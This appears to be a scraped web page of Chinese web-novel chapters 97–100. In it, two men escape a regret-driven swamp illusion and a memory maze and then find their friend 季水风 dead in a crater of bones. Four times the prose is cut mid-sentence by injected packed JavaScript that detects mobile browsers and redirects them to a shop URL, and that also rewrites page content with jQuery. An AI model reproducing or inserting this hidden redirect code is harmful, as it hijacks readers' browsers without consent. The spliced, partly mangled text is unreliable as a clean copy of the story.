时咎意识到的一瞬间静止住身体,他看不清周围,但是能感觉到自己的小腿现在全部陷入了泥地里,稍微企图用力拔出,便陷得更深。 时咎大喊道:“沉皑!还听得到我吗?” 旁边的“咕咚”声依然在疯狂沸腾,时咎很快听到沉皑的声音,他很冷静地说:“听得到!我这里的泥土在下陷!” 听声音就在旁边两米处的样子,但两米已经几乎看不到了。时咎立刻制止他:“你别动就不会下陷!” 沉皑几乎当即就回答出来:“我没动!” 时咎反应过来,沉皑怎么会不知道别随意挣扎就不会加速陷入沼泽,但没动怎么还会下陷?时咎低头看了眼自己的腿,在自己没动后确实停止住了被往下拉的趋势。 耳边的沸腾声完全没有停止,沉皑几乎是第一时间就保持身体静止,但是没有用,沼泽像有意识一样死死拽着他的腿往下扯,任凭他动或不动,整个人都在迅速往下沉,很快没过大腿。 沉皑低声骂了一句,朝旁边问道:“你怎么样?” 时咎着急说:“我没事,没动之后就停下来了!” 时咎听到周围的气泡声好像全部聚集过来了,越来越大的沸腾声,他的心怦怦跳,不知道这些气泡是什么,但那些沸腾声越过自己直直冲往旁边,有一种所有的气泡从四面八方同时朝沉皑的方向涌去的感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240560|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它们的目标是沉皑?时咎当即挪动了一下腿,立刻感到泥土往上淹没了一点。 他必须要到沉皑那边去。 时咎喊道:“你坚持一下!我过来!” 沉皑立刻吼回来:“别过来!这些东西都在我这里!” 此时那些气泡如同有了自己的意识,全部朝沉皑游荡去,就在他旁边汹涌跳动,焦躁不安,每炸裂一个气泡,沉皑只感觉自己的身体就向下拉拽一厘米,无论静与动,全然没有办法。 他微喘着气,依然使自己尽可能地保持冷静,目光疾速瞥过周围,看到泥土已经慢慢拉扯到自己的腰上了。他努力往前走了一步,但那些泥土吞进了他的身体后就像在下面凝固了一般,即使使出全身力气,也堪堪挪动一小步。 这样下去过不了多久就会被全部吞没的。 混乱的磁场让他的能力完全无法流动,就像冰冷的泥浆一样,刚出现就被凝固住。 时咎的情况好得多,那些气泡似乎对他不太感兴趣,全部掠过他朝前方移动,刚好,虽然看不到沉皑,但是顺着气泡的路径就能找到他。 不过也没好到哪里去,不动还没事,时咎一抬腿,沼泽就开始围陷他,每往前走一步,就感觉身体往下滑了一分,每走一步都艰难无比。时咎咬着牙,所有的力气都用在对抗泥地的压强上,他一步一步往前移,感到泥土从自己的小腿慢慢将他拉扯到只能看到膝盖。 气泡啸叫的声音更狂热了,鼓出又爆炸的样子像在放烟花,炸得震耳欲聋。 这觉得不是正常的事,这是个陷阱! 时咎终于看到沉皑的时候呼吸一窒,因为沉皑整个人下陷到只能看到胸口以上了,时咎奋力走过去,等他真正伸手能抓住沉皑的时候,刚好被泥潭淹没到腰。 “不是说别过来?”沉皑的头上都是汗,他感觉呼吸已经有些困难了,泥泞压着他的胸口,也压着他的肺。 时咎还是往前走了两步,直到完全靠近沉皑。 时咎剧烈地喘着气,这两米的路程几乎花费了他所有的力气。 但是很快两个人都发现了不对,因为即使他们完全靠在一起站着,时咎不动就会停止下陷,而沉皑无论做什么都阻止不了被拖拽到泥潭里。 不是位置的问题,是这片沼泽在针对沉皑。 “这是为什么?”时咎的唇颤抖着问,他伸手去拖沉皑,然而无论使多大劲,沉皑的身体在里面也纹丝不动。 几个眨眼的瞬间,时咎还刚刚被淹没过了腰,而沉皑已经接近脖子。他脸色有些发紫,大概是氧气被压缩的缘故。 沉皑痛苦道:“动不了,我的能力,用不出来。” 时咎急得满头大汗,他的手在泥潭里奋力往前滑,还能碰到沉皑的身体,于是环抱上去。 沉皑想到之前他们在电梯里瞬移出来的事,用力说:“去山下。” 然而并没有反应,连时咎的瞬移也触发不了,这里好像隔绝了一切的意念。 “操操操!”时咎开始疯狂爆粗。再这样下去会出事的,但他绝对不能让沉皑出事。 越是这样,时咎逼迫自己冷静下来,他张望着企图在这一堆气泡里找到突破口。 沉皑似乎是很艰难才能说出话,但他说出的话却是:“时咎,对不起。”尽管已经互通心意,但他依然觉得对时咎有愧,很多很多事,比如最开始对他的冷漠,后来对他的隐瞒,连一句喜欢都不敢主动开口。 时咎脸色立马就变了,他暴怒吼出来:“谁允许你说对不起?!” 然而不知道为什么,这泥潭似乎有自己的意识,在听到这两句话后,它突然猛烈地动了起来,比刚刚还凶猛,气泡狂叫起来,紧紧桎梏着沉皑的身体开始疯了一般往下拖,速度比之前快不知道多少倍。 这突如其来的迅速让两个人都措手不及,时咎大吼了一声,完全凭本能地死死抱住了沉皑,沉皑一往下陷,他便跟着往下沉。 沉皑很想叫时咎出去,但是他一点声音也发不出来,只能感受到全身快要被挤压碎掉的痛感,感受到巨大的压力由脖子淹没到下巴,淹没过鼻子,最后什么也看不见。 接着,沼泽猛地一拽,两个人彻底被它拉入泥潭里,消失的一瞬间,泥潭最上方迅速合上,变成了最初的软土。 98. 第 98 章 浓雾没有消散,风声还在,气泡声偶尔还是会响起。 浓烈的窒息张牙舞爪地扑过来,时咎觉得血液里的氧气逐渐被抽空,内脏快要破裂掉,仅存的意识让他依然死死抓住旁边的人。 发不出任何声音,看不到任何东西,也呼吸不了。 意识越来越模糊,脑海里好像出现了很多画面,一幕幕快速闪过,比这一生看过的电影,见过的人还多。 他忽然感觉到手被轻轻捏了一下,是沉皑,他还醒着吗?不想他有事,如果可以,他愿意用任何代价换对方平安健康地活着。 下一秒,时咎觉得自己的意识开始往下坠,那种失重感如同身体从高空跌落,心脏的血也在倒流,随后他轻飘飘地落在了地上。 地是冰冷坚硬的地,像躺在某个冷库的案板上,成为任人宰割的肉,但总之身体没有那么痛苦了。 可能死亡就是这种感觉。正想着,耳边传来一个最关切最熟悉的声音:“时咎。” 死了还能听到他的声音,等等! 意识突然惊醒,时咎猛然睁开眼,随即立刻坐了起来,起得太猛,眼前一阵发黑。 沉皑平静说:“慢点。” 时咎不可置信地抬头,看到沉皑此时正跪坐在他面前,手伸过来摸了下自己的脸,还是一个好端端、活生生的沉皑,时咎立刻伸出手一把紧紧抱住他,把头靠在对方的颈窝上,喃喃道:“是你死了还是我死了,还是我们都死了?” 沉皑轻轻摩挲着他的背,柔和道:“都没死。” “嗯?”时咎抬头,收回手,沉皑站起来,拉住时咎的手把他从地上拽了起来。 时咎环视四周,愣愣地吐出几个字:“这,是哪啊?” 沉皑摇头。 一片纯黑的空间,黑得看不到边,但地板却是微微发光的,以至于能让他们看见彼此,看得见这个空间的无边,其他什么都看不见。 他们就站在这不知道是哪个方位的地方,奇怪的是,他们刚刚明明在泥潭里挣扎了这么久,现在却看不到任何痕迹,衣服全都是完好如初,除了多了几道褶皱,没有任何跟泥相关的污秽。 “好奇怪。”时咎不自觉说道。 从跟踪季水风开始,一切都不太对劲,到了蘑菇山后更是超出想象。 这个大到看不到边的黑色盒子,是蘑菇山的地下吗?被沼泽拉下来后掉入了这样一个空间,但这似乎没法解释他们完好的衣服是怎么回事。 很快,时咎的注意力被远处若隐若现的光点吸引了,他抬手指向那个地方,不确定道:“那里,是有光吗?” 在一片黑暗里,远处一点微弱的光。 沉皑抿唇,说:“去看看。”他回头再次牵起时咎的手。 这个地方看上去很安全,除了那个光点没有任何别的可听可视的东西,地板微弱的亮光让时咎想到在他醒来的世界里,游戏厅中那些跳舞机器,踩到某个格子,那个格子的光就会熄灭,像是某种提醒,但此时他们脚下踩着的这些微光格子,却没有因为他们的走动而变暗,只是固定的微微发亮。 两个人缓步朝光点处前行,时咎突然想起了什么,有点不爽地说:“喂,你刚刚是不是想让我一个人跑?别管你?” 沉皑的脚步滞了一瞬,闷闷地回答:“嗯。” 因为在那个场景,他找不到方法,无论如何都挣脱不了,周围什么都看不到,除了气泡的沸腾声也什么都听不到,甚至动不了,没想到破局方法,动用不了能力,在当下只能是等死,唯一后悔的便是没再和时咎多相处一些时间,但若是真的只能到此为止,得到过,也满足了。 “混蛋!”时咎抬腿就往沉皑的后背来了一脚,踢出一声闷响,他本来还想说点什么,却什么都说不出来。 ——要死可以一起死,不要让他自己跑。但转念一想,即使是一起死,他也只是从梦里醒过来,说这样的话对沉皑不公平。 于是所有的愤怒只能变为一个抬腿的攻击。 第一次发现,梦带给他的额外保命buff,竟成了心结。 如果不是梦就好了。 那微光看上去很远,但是真的朝它走过去,发现不需要走多久。只是越走近,两人越是屏住呼吸放慢脚步,直到可以完整看到那个光点是什么。 像一个迷宫。却不是传统意义上的迷宫,因为他如同一张张拼接起来的电子屏,长长的延伸出去,进入一个拐角,又换一个地方继续延伸,不仅如此,半空中、地板下,全是如出一辙的拼接画面,从他们所在的位置往脚下看,便能看到它们拼接出的样式,横跨了视野所及所有空间。 时咎抬头向上看,忘记了呼吸,有些不可置信地说:“这是……” 他的心跳“砰砰”很快,也能感受到身边的人突然握紧的手。 因为让人震惊的不是这个巨大拼接迷宫本身,而是屏幕上播放的内容。 ——全是沉皑与时咎两个人共同经历过的画面。 时咎微张着嘴,快速往前走了两步,走到一个屏幕前,他惊愕地抬头,看到这个屏幕播放的完整内容。 ——起源实验室的一个操作室里,旁边站着两三个陌生的面孔,他们之间有人拿着纸笔在记录些什么,也有人来回走动,他们在说什么,最后都站在中间没说话了,他们的中间正是那个玻璃舱室,此时那些人都不约而同看向里面,而里面的不是别人,正是时咎。 他闭着眼安然躺在舱室里,脸上没什么表情,但四肢都被熟悉的双层石墨烯绳牢牢束缚着,没多久,舱室上方的仪器便被放下来,那仪器就在时咎的头上来回扫描,彩色的光不断照射着他,随后,时咎皱起眉头,身体开始挣扎,不过并没有挣扎出来,没多久他的额头开始冒汗,脸上痛苦的神情非常清晰。 他的呼吸紊乱,面色惨白,似乎生不如死。 离玻璃舱室不远处的地方,坐着的人正是沉皑,他就坐在那里,面无表情,眼里也没有任何情绪,只是冷漠地看着,旁边站着的季水风反而露出于心不忍的样子,她多次想说点什么,拿手去碰沉皑,沉皑都没有给她任何回应,于是她叹了口气。 直到那些彩色的光熄灭,旁边的人一个个面面相觑,他们似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253262|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎在说什么,每个人都大汗淋漓。紧接着时咎醒了过来,他坐起来,激烈起伏的胸口说明他此时的状态。没过多久,时咎摇摇欲坠地好像又要倒下去的时候,沉皑走过来把他从玻璃舱室里拽起来,随后整个人打横抱起,那样的动作绝对算不上温柔,可能更多的是不耐烦。之后两个身影都离开了操作室。 时咎错愕地看着,他感觉到握住他的那只手握得更紧了,紧得他有点疼,不仅如此,他感觉到沉皑的手心在出汗。 这不是他们共同经历的画面,这只是沉皑的记忆。 因为这场强制升级,结束后时咎才转醒,而他醒来也是意识模糊,只能感受到痛苦,根本记不清具体发生了什么。这个画面如此精确地展现着当时的事,只有可能是沉皑的视角。 时咎将两人紧握的手举到自己胸前,用另一只安慰般轻抚着沉皑的手背。 沉皑的情绪不太对。时咎有些担心地侧头看向他,却只看他摇了摇头。 这些画面一直在重复播放,不仅仅是这一个屏幕,而是目所能及的一整排都在播放同一个事件,只是开始结束的时间点不一样。 这里到底是什么地方?为什么会播放沉皑的记忆? 时咎抬头,看见半空中最近的那一排是另一个场景。 ——这个场景时咎记得很清楚,是他第一次从沉皑的相框里翻出来那个节目单的时候。当时的时咎举着节目单似乎是在质问沉皑,沉皑也是始终沉默,或淡淡地说着什么,随后,时咎朝着他的胸前狠狠挥了一拳,而沉皑没有躲。 再往上的空间屏幕。 ——夜晚的老宅公园,沉皑和时咎一起在黄土上挖着什么,后来沉皑将挖出来的东西递给了时咎,他的嘴唇轻动,似乎想说什么,最终一句话没说出来。两个人离开了那个地方,时咎心情还不错地在前面走,好像因为收到了什么礼物而高兴,沉皑则在后面一步之遥的位置默默注视着他,视线从未离开,时咎也并未察觉。 地板以下的画面似乎更多,全都是沉皑的那些过往,小时候训练的、在公园遇到时咎的朝朝暮暮、还有他偷偷趴在老宅的门边,目光紧盯着言威的,时咎甚至看到了从来只是听他们提起过的、沉皑怀里抱着一个非常小的小孩奔逃,最后将他送走的画面。 每一幕,每一帧,全是他的记忆。有的是时咎没见过的,但大部分都是知晓的,因为大部分都跟自己有关;有的很模糊,有的则非常清晰,越往下或者越往上,能看清的越少,像记忆本身一般。 最清晰的,就是时咎被送去做强制进化那一幕,它也正好是摆在他们平行的空间上。每个细节,房间里的每个摆设,时咎醒来后的每个表情,都如同电影。 这些画面滚动播放,又彼此相交,让时咎想到了四维空间的三维展现。 他们好像就是在这样一个空间里,时间被展开了,他们能看到一件事情的每个时间点。 时咎原本想往前走,再去看清自己昏迷时那个房间的一切,却被沉皑拉住了。 时咎回过头,疑惑地看向沉皑,沉皑只是站在原地注视着他,没说话。 99. 第 99 章 他好像并不愿意去看这些东西。于是时咎倒回来,回到他身边,轻声问:“这些事,让你不舒服吗?这里的每一件事,给你什么感觉?” 沉皑沉默很久,才开口说:“后悔。” “后、悔?”时咎一愣,他也没想到是这个回答,于是他再次回头去看那些画面。 在知道答案后再去看这里播放着的每一件事,时咎的心情完全变了。 为什么是后悔?他在后悔什么?后悔麻醉他去做强制进化?被发现节目单的时候他在后悔什么?为什么明明给他送出了蓝宝石,他也依然后悔?那么多那么多的事,全是后悔…… 这个地方,恐怕不是他们想象中的那么简单。 到底是什么东西,可以直接展现出人的内心世界?把人心深处最不愿意面对的事情全部挖出来,刺眼地展示在这里,毫无顾忌地播放。这么做的原因又是什么? 这里是原本就存在还是就单独为了拦住他们? 时咎倾向于前者。若是结合这里的传言,是不是可以理解为,这座山如果有人闯入就会进入这个地方,一般人在沼泽那里应该就会被吓破胆了,有人逃出去还好,若是没人逃出去,附近的居民一定会认为这里闹鬼,这座山有去无回,久而久之就变成了一片荒废的区域。 若是在沼泽那里就被吓破胆…… 等等! 时咎突然想到了什么,脑子里逐渐清晰起来。他晃了晃牵着沉皑的手,屏息低声道:“虽然不知道这里存在的原理是什么,但是我好像知道怎么出去了。” 沉皑回答道:“嗯。” 虽然沉皑的手心里依然是汗,但这回没再反抗时咎,任时咎牵着他往这片记忆迷宫里走去。 那个操作室的每个场景都让沉皑如鲠在喉,仿佛吞了针卡了刺,偏偏两个人就停在这个场景的面前。 沉皑看着那一幕幕,一言不发,时咎侧过头,问:“你会害怕吗?” 沉皑淡淡回答:“不。” 时咎还不完全确定,但是他需要印证一下自己的猜测,于是一只手牵着沉皑,一只手去触碰那个场景,在他手指碰到画面的一瞬间,一束白光迸发出。 两人顿感眼前一片白,不约而同抬手去挡。 刺眼的光芒很快归于黑暗,他们放下手。 看到眼前的一幕的时候,时咎轻轻说了一句:“果然。” 他们进入到这个场景里来了——准确的说,是回到过去了。 操作室的人忙不迭地在为这场进化做准备,你来我往各做各的事。[时咎]呈昏迷状躺在玻璃舱中,[沉皑]和[季水风]在一旁坐着,但两个人没有说话。不多时,有人走到[沉皑]身边对他说:“沉先生,准备好了,可以开始了。” [沉皑]冷冷地回答一句:“嗯。” 两个人慢慢走到操作室里,站在透明舱旁边,但周围人似乎是看不到他俩,依然各自忙碌。 沉皑的呼吸有些急促,他往前走了一步,但立刻停下,又后退回来。 ——他想阻止这场进化。 想改变这件让他后悔的事。 时咎牢牢牵住他的手,淡然地看着玻璃舱中的自己。 回想起那会儿,自己应该是非常讨厌这个麻醉他后又强制拖他来做这个什么狗屁进化的人的,况且,那回真的痛不欲生,从来没有感受到如此钻心的痛过,头仿佛被钻头钻穿了还在往墙上砸一样,痛得五脏六腑都缩成一团,连醒来后,也痛苦好一会儿才缓过来。 这么想着,那边的进化已经开始了。 五彩的光很快照下来,仪器就放在[时咎]大脑的正上方,随着时间推移,玻璃舱中的[时咎]脸色逐渐变得苍白,近看,他的嘴唇也在颤抖,痛苦,却说不出来。 沉皑似乎受不了这个场景,他把时咎的手抓得很紧,很用力,努力克制才让自己没有冲过去打开那些操作人。他深深吸气,微微闭上眼,好半天才轻声说:“我一直很后悔这件事。” 时咎侧过头看他。 他痛苦说:“当时那么对你,确实有部分是出于担心你会对公民产生威胁的心态,后来季水风说你没有威胁,我也并没有信任你,还是要求对你强行进化,现在想,那个时候我偏执得连季水风都不相信了。” 他睁开眼,直视着玻璃舱里痛苦得满头是汗的[时咎],眉头拧起:“进化过程并不会痛苦,我不知道是麻醉剂的缘故,还是你做梦的缘故,我看到当时你非常痛苦,那个时候我就开始后悔了。我不能告诉你我后悔,原本你该被送去监狱,或者交给季水风,但我把你抱回我办公室了,我想再给你机会让你说实话,我就有理由放了你。” 当时他想了很多,但每一个想法都是不动声色。或许,甚至还带着报复的心理,他太像二十年前遇到的那个人了。无数情绪交织,让事件一发不可收拾。 时咎依然是拍拍他的手背,看见那些操作人一个个也在额角冒汗,只有当时的[沉皑]正襟危坐,毫无反应。 沉皑叹了口气,说:“因为其实后来想起,这件事很荒唐,我打着‘会对公民产生威胁’这个幌子伤害你,又知道你并没有,那我伤害的到底是谁?” 时咎明白他想说的意思,沉皑担心他伤害公民,就首先伤害了他,而他本身就是沉皑不想伤害的公民之一,并且是在知道他没有威胁的前提下。那沉皑伤害的就是自己明明想保护的人,就因为他自己当时的不信任以及偏见。 在这样的心态下,他要如何保护自己想保护的人、想保护的文明,如何践行他说的那句“隐居不能给文明带来福祉。” 沉皑站着没动,回想到那天,当晚他便梦到了时咎,带着歉意,带着悔意,站在那个小房间里,任汹涌的后悔将他包围着,他想如果能重来一次,他一定不会做出同样的选择。 而那个“重来一次”,此时此刻就在眼前。 时咎注视着他,笑道:“现在,我肯定是不在意这件事了,你呢?” “沉先生,操作,成功了。”操作人的声音从面前传来,那个一直离时咎最近的操作人肢体不协调地动了下,僵硬地说出这句话。 整个操作室如坟墓一般的寂静。 沉皑转身,刚好与当时面无表情从椅子上站起来的[沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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从一开始就不太对,那迷雾就像一个障眼法,他们遇到的泥潭就更不对了,那些炸裂的气泡和深陷的沼泽,也许是某个不知名的、某种能力的人在这里设下的陷阱——如果有人闯入蘑菇山山顶,就全部杀死在浓雾与沼泽里。 ——直到他们在窒息中掉入这个地方。 时咎看到那些四维画面的时候还不知所以,但当沉皑说那些往事,全是他心里后悔的事的时候,突然就想明白了。 他们从沼泽地掉下来,身上还能干干净净,只有一个恰当的解释,就是他们陷入泥沼,本身就是幻觉。 但为什么他俩明明一起陷入沼泽,自己像陷入普通沼泽地,不动便没事,而沉皑却无论如何都往下陷,恐怕和这里出现的四维画面有关——内心的悔意。 既然已经是幻觉,沼泽地本身也就是幻觉,那么拉着他们不断深陷的便不是沼泽,而是内心的悔意。心里后悔堆得越多,越在泥沼里无法自拔。 所以……所以原本虽然快、但也是匀速把他们往下拉的沼泽,就在最后沉皑说出那句“时咎,对不起”的时候,疯了一般直接毫不留情地将他们拖了下去。 在那一刻,面对死亡时,面对未尽的心愿时,面对还没有好好爱过的人时,他后悔了。 在这段往事排演结束、沉皑都没有丝毫要干预的时候,他们眼前的场景出现了肉眼可见的扭曲——他们赌对了! 100. 第 100 章 这个幻境用心险恶,在误闯入那片迷雾时,人们大多数都会产生畏怯的情绪,害怕也仍然找不到回去的路,就这么跌跌撞撞闯入沼泽的地盘,或许这个沼泽无处不在,迟早都会掉进去。 但是人哪会心里没有往事,没有曾经后悔过的事。一旦有,就无法抗拒被拽下去,哪怕心里悔意浅淡,来到这种地方被沼泽拖拽也会害怕,越是害怕恐惧,越是后悔来到这个地方,恰是再进入死循环。 时咎是个例外,他很少为已经过去的、已经解决的事后悔,即使被困在沼泽,也不至于幻想不该来,只会觉得醒了就好了。 一旦人们进入四维幻境里,看到了真实的、曾经自己后悔的所有事,心里难免会被打击。 “好想时光倒流”、“如果当时……”、“那个时候我就应该……”、“早知道……”、“我现在就想回去……” 一件一件,无穷无尽的假如回到过去。 于是那一幕幕跑马灯般的往事出现在黑色空间里。每一件,都是人们亟欲改变的曾经,哪怕只是后悔没有给离开的人说最后一句话,后悔某个时刻没有对某个人好好道别,后悔荒度了的时光,后悔没有坚持下来的努力,后悔当时没反应过来而没发泄出来的怒气…… 此时,他们得到了改变这一切的机会。 时咎想,所以沉皑按照自己的记忆,扔了那支笔。 但并不是所有人都能冷静面对回到过去,他们被那些痛心疾首、悔不当初的事重击,当他们以第三视角,以一个所有人都看不到的形象回到过去的时候,会做什么呢? ——改变那个过去。去干预自己、或他人生命中哪怕最不起眼的进程,可若是干预了,才是永远坠入自己虚幻的循环。 那景物的扭曲慢慢的,越来越大,几乎要吞没他们。 时咎松了一口气。他想,在自己的国家,有一个非常哲学的词汇,叫:无常。因缘无常,生死无常,世事无常,无常到来,人会有很多很多的内疚、悲痛、遗憾、后悔,但这些并不能算是负面情绪,当人们的能力只能接受“快乐”时,这些才变成了负面。着急走出来或者着急改变它,是人的惯性,这样的惯性也说明了匮乏的韧性。 对过去的悔恨,会阻碍人们向前。 他们其实是带着所有的经历,带着过去的种种情绪,坚定地往前走,不改变事实,只改变自己的心。 然后破局。 眼前白光突然袭来,刺得时咎直直闭上眼,闭上眼的瞬间他感到沉皑过来拉住了他。 等他们再次睁眼时,以为会回到原地,甚至山下,但他们只发现四周全变了。 眼睛终于从白茫茫一片中恢复,时咎向周围看了一眼,迷茫道:“这又是什么地方啊?有完没完?” 没有秃顶山和山脚下,两个人只是站在一片赤野的苍茫里,一眼望过去,能望到地平线。抬头,眼见的天是黄沙满布的天,分不清是真的风沙还是幻觉,但是那些尘土被风卷入空中,一刻不停歇地快速流动着,呼啸着,像——木星表面。土地是赤红色,凹凸不平,偶尔还有小石块,被风一吹如同风滚草一样就往前滚动着逃离了。 时咎踏了下脚下的土,是实的,他错愕地喃喃道:“这,这,火星?” 刚刚从一个幻境逃离,现在更是离谱,这个地方已经不像在原本的星球了,像一颗碎星。 沉皑四处看了一遍,突然朝着不远处一个地方指了一下,道:“那边,好像有东西。” 时咎顺着看过去,看到左边可能几百米处有一个隆起的小山坡,山坡上有什么白色的东西。 白色,在这片赤红色的土地上非常显眼。 时咎说:“走!” 两个人一路朝着目标快走。 这里确实几乎什么都没有,没有建筑,也不像是人类会存在的星球,除了不远处隆起的那一点白。 该不会又是什么光点幻境。 如果是在全息游戏里,这种地外行星一般的星球做得倒是逼真,只是在真实的眼前,就有点瘆人了,因为好像是他们被遗落在某个星球,整个星球只有他们两个人。 眼见那白色越来越近。要靠近它,还要爬上这个小山坡,好在它真的只是一个小山坡,除了有点陡,没有任何难度。 沉皑跟他说累了可以休息。 时咎摇头,一边爬小山坡一边说:“这才多远,出去比较重……” ——要。 但是他没说出来便把最后一个字咽回去了。 随着最后一步跨上,两个人同时登上了小山坡的最高点,也就是他们刚刚看到的白点所在的地方,此时他们就站在这儿,但两人都是同时停住脚步,窒息地看着眼前的场景。 爬上这个小山坡,背坡是一个坑,一个巨大的坑,如同几万年前陨石砸在这里形成的大型圆坑。 但让他们同时停滞的原因不是因为这个陨石坑,而是坑里密密麻麻堆叠的白骨。 时咎脚下那个从远处看上去白色的东西,便是其中一具。 时咎不自觉往后退了一步,脸色煞白地说:“我天!” 沉皑却眼尖看到坑的另一边不是白骨的东西,他眉头一皱,低声呼道:“季水风!” 时咎瞬间收敛起情绪,立刻也看到了前面不远处,一堆白色里显眼的黑色,是一个躺着的小女孩的衣着,正是他们今天追出来时季水风身上穿着的那一套。 两个人狂奔过去,扑到那个倒在这里小小身影的旁边,沉皑把这具小小的身体抱起来,低声喊道:“季水风?” 季水风闭着眼,看着像睡着,一点表情也没有,没有痛苦也没有别的。 时咎焦急地捏住她的胳膊晃了晃也喊出声:“季水风?醒醒?” 小女孩全然没有反应,甚至在时咎松开手后,她的胳膊自然失力般垂下来。 时咎忽然感觉自己的大脑“轰”的一声,他不可思议地抬起手,但是突然又不敢动,于是只能抬头望着沉皑。 沉皑抱着她沉默着,似乎是在感受什么,片刻,他看着时咎,轻轻摇头。 时咎觉得自己的头皮都炸了,他喃喃了一句:“不可能!”便伸出手去探季水风的鼻息。 没有任何反应了。 沉皑低声说:“不久。” “这,我……怎么会?”时咎还是不敢相信,在他们的推测里,季水风既然能自己直直地找到这里,说明她应该知道这里是什么,那她也有对策才对,怎么会? 沉皑皱眉,埋头看着怀里的小女孩,大致看了一下,说:“没有外伤,衣服是完好的,没有磨损。” “那……”时咎说,突然想起他们刚刚的经历,便问,“会不会是刚刚那个幻境?” 沉皑没说话。 如果刚刚的幻境,干预了自己过去的人,那些没有走出来的人,结局是死亡呢? 安详的死亡。 “到底,到底是谁?!这里是什么意思?!”时咎气得浑身发抖,他站起来,望向此时他们身边的白骨堆。 在一片赤红色里,如此庞大的白骨堆,刺得人眼睛生疼,还不知道这里是不是唯一一个坑,这到底是什么? 沉皑轻轻把季水风放下,但一动,季水风手里的东西便滑出来了。 一张纸条,沉皑顺势捡起打开看。 “时咎。”沉皑叫道。 时咎回过头,看到沉皑递给了他一张纸条,他立刻接过来看。 ——我知道你以前做过的所有事,来这里,我们说清楚。 下面则是画了一副完整的线路图。跟他们当时跟踪的有点区别,应该是中途季水风为了甩掉跟踪她的人而故意临时更换了路线,但后面的路她是完全按照这张纸上来走的。 “你以前做过的所有事,所有事……”时咎无意识地念着,随后皱起眉头,“我觉得是季山月写的。” 沉皑轻轻点头:“嗯。” 所以到底是什么事?季水风能做什么事?她的一辈子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268238|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都展现在这里了,还不够吗? 从这一切都还没发生前,就一直有那么一件事企图伤害季水风,但是这么久了,他们依然不知道是什么事。 季水风和季山月姐弟之间到底发生了什么? 说着,时咎再次单腿跪下来,眉头皱着看着季水风这具身躯,咬牙再次问道:“确定她……她,她这样没有别的可能吗?” 时咎发现自己说不出来那个字,于是像想再次确认般,去探季水风的鼻息,去摸她的脉搏,反馈依然和第一次一样。 沉皑好半天才不情不愿地吐出一个字:“嗯。” 时咎大吼,有点崩溃地抱住头,“这不,这!” 这不可能! 他觉得这不真实,不可能就这么一会儿…… 虽然他心里知道不是没可能,到现在尸体还没硬,最多一两个小时。 但她是季水风啊!那个温柔、善良、任何事都为了她爱着的那些人的,季水风啊! 时咎一拳打在地上,沉皑烦躁地叹出一口气,就在时咎和季水风旁边坐下了。 总觉得还有别的办法,但是慢了一步。 上一次见还是活生生的,早知道,在那个拐角就把她拦下来。 人就是会期待那么多的“早知道”。 时咎想,她还会活过来,她没有死,一会儿就能站起来。 但等他睁开眼,一切还是没有变,他的意念,似乎控制不了那么宏大的命运。 沉皑把头埋进膝间一会儿,再抬头,伸手摸了摸时咎的背,被时咎一巴掌打开了。 他发泄般说:“不用安慰我!你比我难受。” 沉皑没说话,只是将目光移到面前躺着的小女孩身上。 第一次见到她的时候,也是这个样子,七八岁,平时从来不会主动说话,就喜欢一个人呆着,也经常在湖边发呆,每次叫她都叫好几声,好像任何时间都在神游,好在小时候的季山月像个活宝,一天到晚蹦蹦跳跳没停,拉着季水风跟他玩,后来自己渐渐从时咎消失的痛苦里走出来,也加入了这对姐弟。很久很久以后,季水风逐渐接受了这两个天天见面的朋友,又过了很久很久,她融入进来,依然是很久的以后,她摆脱了小时候的抑郁,变成了一个温柔有爱、事事为公民的成年人。 她太温柔了,宁愿自己受伤,过得辛苦一点,也会让别人好好的。 命运给她这般结果,是为什么呢? 那些流光在身边漫步,沉皑抬头,看到自己的能力在这里又可以被感知到了。 两个人沉默地坐着,就坐在季水风小小的尸体面前,谁也不说话,直到这具尸体变硬,慢慢地失去所有血色,打破所有期待与幻想。 没有人真的落泪,也说不清那是不是伤心,或许只是悲悯。 好像人就是这样,说着接受,却接受不了,想着要用无常的心态面对一切,却又悲伤过头,以至于一句话都说不出,一句悼念的词也念不住。 明明刚刚还好好的,明明前段时间都好好的,以为铁三角也可以走很远的。 沉皑叹了一口很长的气,把所有情绪都咽下去,并没有沉浸太久。他仰头,看着这片黄沙般的天空,想着他还得带时咎走出去,他们还有很多事没做完。 